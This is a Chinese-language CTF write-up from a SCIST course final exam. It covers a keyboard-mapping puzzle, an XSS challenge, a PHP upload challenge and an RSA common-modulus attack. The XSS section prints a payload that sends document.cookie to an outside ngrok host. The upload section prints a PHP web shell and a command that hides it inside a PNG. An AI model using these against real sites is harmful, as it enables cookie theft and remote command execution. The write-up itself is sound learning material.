# SCIST S4 資訊安全期末考 Write up >[name=CX330_Blake][time=Mon, Jan 29, 2024 3:52 PM] [TOC] ## Welcome 這題我們可以從開發者工具發現類似以下的元素。 ```htmlembedded= <div class="key--double" data-key="49" data-input="?F"><div>!</div><div>1</div></div> ``` 再透過以下的index.js代碼可以找到真正的input。 ```javascript= if (key.hasAttribute("data-input")) { if (e.shiftKey) { msg += key.getAttribute("data-input")[0]; } else { msg += key.getAttribute("data-input")[1]; } typingElement.innerHTML = msg.replace(/ /g, "&nbsp;"); } ``` 每個標籤的data-input屬性是由兩個字符所組成,以上面的html標籤為例,當我們按著shift的時候按下數字1按鍵,實際的input會是`?`,也就是index為0的位置;但當我們只是單純按下數字1按鍵的時候,input會是`F`,就是index為1的位置。 知道了這個特性後,翻找到一份index.css文件,將其打開會發現第一行有個註解,以下: ```css= /* Passpharse : "JP Jf3j-F@%#$4H%xw" */ ``` 我們用一般打字的方法,用shift切換大小寫,嘗試輸入Passphrase。經過以上的轉換,便可以得到flag。 ``` flag = SCIST{G0oD_1u(k_!} ``` ## XSSER 看了題目給的app.js檔案,可以發現Flag是在visit函數裡面被設定的,如下。 ```javascript= async function visit(noteId) { const url = `http://127.0.0.1:3000/note/${noteId}`; console.log(`[+] Visiting ${url}`); const context = await browser.createIncognitoBrowserContext() const page = await context.newPage() await page.setCookie({ name: 'flag', value: FLAG, domain: '127.0.0.1', path: '/', httpOnly: false, secure: false, sameSite: 'Lax' }); try { await page.goto(url, { waitUntil: 'networkidle0' }) await sleep(1000); } catch (e) { console.error(`[+] error visting ${path} `, e) } await page.close() await context.close() } ``` 而要觸發這個visit函數,必須在回報note的地方輸入一個正確合法的ID,才會執行visit函數,程式碼如下。 ```javascript= app.post('/report', (req, res) => { const { id } = req.body; if (!NOTES.has(id)) return res.send("Note not found"); visit(id); res.send('Admin will check your report'); }); ``` 接著先在網站嘗試隨意POST一個正常的note,會發現網址變成了以下的形式。 ``` http://lab.scist.org:20001/note/732733d42c28d7060c71be53a4dd491b ``` 其中"note/"路徑後面的`1e9dafbc67ea0516bacce8d5d36a3c7a`,便是一個合法的note ID。 到了這邊,我原本以為是要把合法的ID和XSS的payload結合在一起,並在Report的地方提交。但經過助教的提示之後,知道應該是要把payload提交在note的內文,所以我開始重新研究一次app.js的程式碼。發現了之前沒仔細看到可能可以注入XSS的地方,如下。 ```javascript= app.get('/note/:noteId', (req, res) => { const noteId = req.params.noteId; const note = NOTES.get(noteId); if (!note) return res.send('Note not found!'); res.send(`<h1>Your Note<h1><p id="note">${note}</p>`); }); ``` 在這段程式碼中,可以看到我們提交的note會被夾在p標籤中解析,所以我嘗試注入`<script>alert(1)</script>`發現不能執行,因為app.js裡面限制了允許的標籤白名單,只有s、b、u、p、code這五個標籤能使用,其餘的標籤會被strip掉。知道可以用的標籤後,我使用了p標籤提交,嘗試執行javascript,payload如下: ```javascript= <p/onmouseover=alert(1)>test<p> ``` 發現note只會被解析成`test`,而移動滑鼠到上面的時候也確實會執行js,因此接下來要做的就是修改payload,並再提交note後去report的地方提交id,讓visit去執行到我們提交的腳本,就可以得到cookie了。 我用ngrok在本地先架了個伺服器,並且嘗試透過其獲取cookie,payload如下: ```htmlembedded= <p/onmouseover=document.location.href="https://1ffb-36-234-174-194.ngrok-free.app/"+document.cookie style="position:fixed;left:0;top:0;width:9999px;height:9999px;">test<p> ``` 但是因為onmouseover屬性需要有滑鼠滑過,即便我把p標籤調整的很大,但因為visit函數不會有滑鼠滑過,所以還是不會執行。很可惜到了截止的最後,還是沒能找出正確的payload獲取到flag。 最後來談談這個漏洞在真實世界可能的危害,題目在每次回報完後都會提示`admin will check your report`,這告訴我們如果真實世界中有人利用XSS漏洞注入了惡意代碼,而當系統管理員去"check"的時候,自己的cookie可能就會被利用,讓有心人士可以在不知道admin帳號密碼的情況下以admin的權限登入系統。 ## Uploader 在這題裡面,我先嘗試上傳了一張正常的圖片,發現網頁會呈現這樣的狀態。![image](https://hackmd.io/_uploads/ByG6mhhcT.png) 我一開始先用了課程中教過的一句話木馬來嘗試上傳,我上傳的是php檔。 ```php= <?php echo system($_GET['command']); ?> ``` 結果系統會回應`not a PNG file`,這表示前端會檢測是否為合法的上傳檔案類型,我又嘗試把檔名修改為`shell.php.png`再進行上傳,結果系統的回應是`Invalid image`,表示後端也有檢測他是否為PNG檔案。後來又嘗試了很多其他的方法,包括在php payload前面加上magic numbers `89504E47`嘗試讓系統解析為PNG檔,但得到的回應都跟前面差不多。 最後,在經過一番搜尋、查找資料後,發現只剩下一個方法,就是上傳圖片馬。所謂的圖片馬,就是把圖片和木馬組合在一起上傳。於是我準備了一張正常的png(normal.png)和惡意的php代碼(shell.php),將其放在同一個路徑底下。接著利用以下的指令將其組合為惡意圖片馬(pwn.png): ``` copy normal.png/b + shell.php/a pwn.png ``` 接著我將pwn.png上傳,發現系統回應`Bad content`,到這邊,比賽就結束了,結果最後還是沒能成功地取得Flag,QQ。 ## Common modulus 這題的題目給了三個e(公鑰),三個c(密文),還有一個n(質數因子相乘),如果有其中兩個e是互質,也就是gcd(e1, e2) = 1的話,就可以利用一般的共模攻擊,去求得m(明文),就是利用會有一組s1和s2滿足s1 * e1 + s2 * e2 = 1的條件,加上一點計算,去找出原本的m,如下。 ``` 已知 s1 * e1 + s2 * e2 = 1 ========================== c1 ^ s1 * c2 ^ s2 mod n = m ^ (e1 * s1) * m ^ (e2 * s2) mod n = m ^ (e1 * s1 + e2 * s2) mod n = m mod n = m ``` 可惜這題的三個e都不是互質的,所以要用其他的方法,我就找到了[一篇文章][7],裡面的方法是這樣: ``` gcd(e1, e2) = gcd c1 = (m ^ e1') ^ gcd mod n c2 = (m ^ e2') ^ gcd mod n e1' * s1 + e2' * s2 = 1 c1 ^ s1 * c2 ^s2 mod n = (((m ^ e1') ^ gcd) ^ s1) * (((m ^ e2') ^ gcd) ^s2) mod n = m ^ (e1' * s1 * gcd + e2' * s2 * gcd) mod n = m ^ gcd mod n ``` 所以只要把最後算出來的m再開gcd次方根就能找到明文,於是我寫了下面的腳本。 ```python= from gmpy2 import gcdext, iroot, gcd from Crypto.Util.number import inverse, long_to_bytes n = 22777210958276255973049562078823322470680917129996977683503001216538435863571279721754251786904659128777249694642787480739356668460290853226080964490087136228546045908347764486557698226166963415933243390587759408509357466384117429023536043020407223339909068182712164327318468662771341384255178839693851749833498595767285757850112681038669603653206881003854674152787778849201349140811383067441876396986225542868926178627083357794996583066978454919162611524965685485188287561894204743004599366796640463833284730895990140454443706509700257117888543581605105114423861683342316455500361042572686499019143155407840720672419 e1 = 2755481107 e2 = 3066037283 # e3 = 3825027809 c1 = 7927632180925780686814468716254548866073876571301670927803568567992929927231666309788681512003760545920706822481579873353923145930555620003462589361971404649174770107086295817994744475096856399932862153021335565923236506465046739212222528807145844779588311833022632475905272022533594289777471811000950934146066045472218603345107418836739010466236517799411565681939684720963118217633594133046157469386003057018852372681387318985149400851657988757739939640107583630568340335757129814894759082226790230350623403635880468479392207604875482436028050237168056669104984504520909514306552404757744266671282270481535254632231 c2 = 19162894772364755634695403163786451410245098251726628084799257554767334519905640179161346412307514221332891648206034353728374020165930677162860102377777681292582203157662333178388904577242217496599789741706061676944395451665239726479077741007297709368920091594846785681021427819585722029936761040901809601396670202192052497066209075288103228744858127970671076282164969113619499174358765991380757911727424305398346399701274033326030443722686643479760852934150701783998463047750118216160431187984416861424972003041835112849345069144579908117061092179552843173803432427193984945136248106420527309951492325647621839772126 # c3 = 12281989205300534636704612304895466894728582803084654071108548003638296732533233324118128443432186580642178421360358569501856887776677567285142630332770995470034693283004693504328569378601328550606731466373274474890323776647142155504550689141803732334439130044963732806927780975317712578470165550637007845813598338398021681428237912733055103663278507239375781432804708170722603762602715296180599171769475818480578806749013564273888734572033232825425951511959908980277564593244704622649568752985829748683356507419796438898916535864730103144986484287500764463579887673117770889298009984153867524175061353407719439002075 g = gcd(e1, e2) e1_ = e1 // g e2_ = e2 // g l, s1, s2 = gcdext(e1_, e2_) m = pow(c1, s1, n) * pow(c2, s2, n) % n m = iroot(m, g)[0] print(f"flag = {long_to_bytes(m).decode()}") ``` 只不過最後的答案是錯誤的,沒能找到正確的flag。可能是因為本題的gcd太大,還要找其他的算法。 # 參賽心得 這次算是我第一次花了那麼多的時間打CTF比賽,之前可能就是自己在網路上解解題甚麼的,總的來說還是很有趣的一次體驗。而參加完這次的比賽,我也更加地意識到自己的不足,真的還有很多可以進步、練習的地方。即便可能有點被打擊信心,但我也不會氣餒,我要更努力的練習,沒事就多解解題甚麼的,增強自己的實力,希望可以在之後的比賽表現得越來越好! # 參考資料區 - [文件上傳漏洞總結][1] - [PERSISTENT PHP PAYLOADS IN PNGS: HOW TO INJECT PHP CODE IN AN IMAGE – AND KEEP IT THERE !][2] - [[Day 26] 026 - 串流加密法 - Stream cipher][3] - [童舒晧資安資源整理(XSS教學)][4] - [安全工具——XSSer][5] - [XSSer使用(CSDN)][6] - [关于RSA共模攻击e1,e2不互素的解法][7] - [文件上传漏洞进阶教程/白名单绕过/图片马制作/图片马执行][8] [1]:https://yinwc.github.io/2020/04/21/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#/%E5%85%B6%E4%BB%96%E8%A7%84%E5%88%99 [2]:https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html [3]:https://ithelp.ithome.com.tw/articles/10245459?sc=hot [4]:https://hackmd.io/@foxo-tw/slides/%2F%40foxo-tw%2FByAkemFv7%3Ftype%3Dslide%23%2F1 [5]:https://xz.aliyun.com/t/3952?time__1311=n4%2BxnD0DBDgGG%3DG8%2BeDsA3xCqm%2Fz3K3r34D&alichlgref=https%3A%2F%2Fwww.google.com%2F [6]:https://blog.csdn.net/mydriverc2/article/details/42048983?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-42048983-blog-113249158.235^v43^pc_blog_bottom_relevance_base9&spm=1001.2101.3001.4242.2&utm_relevant_index=2 [7]:https://blog.csdn.net/CHUNJIUJUN/article/details/120553701 [8]:https://blog.csdn.net/qq_40345591/article/details/127476867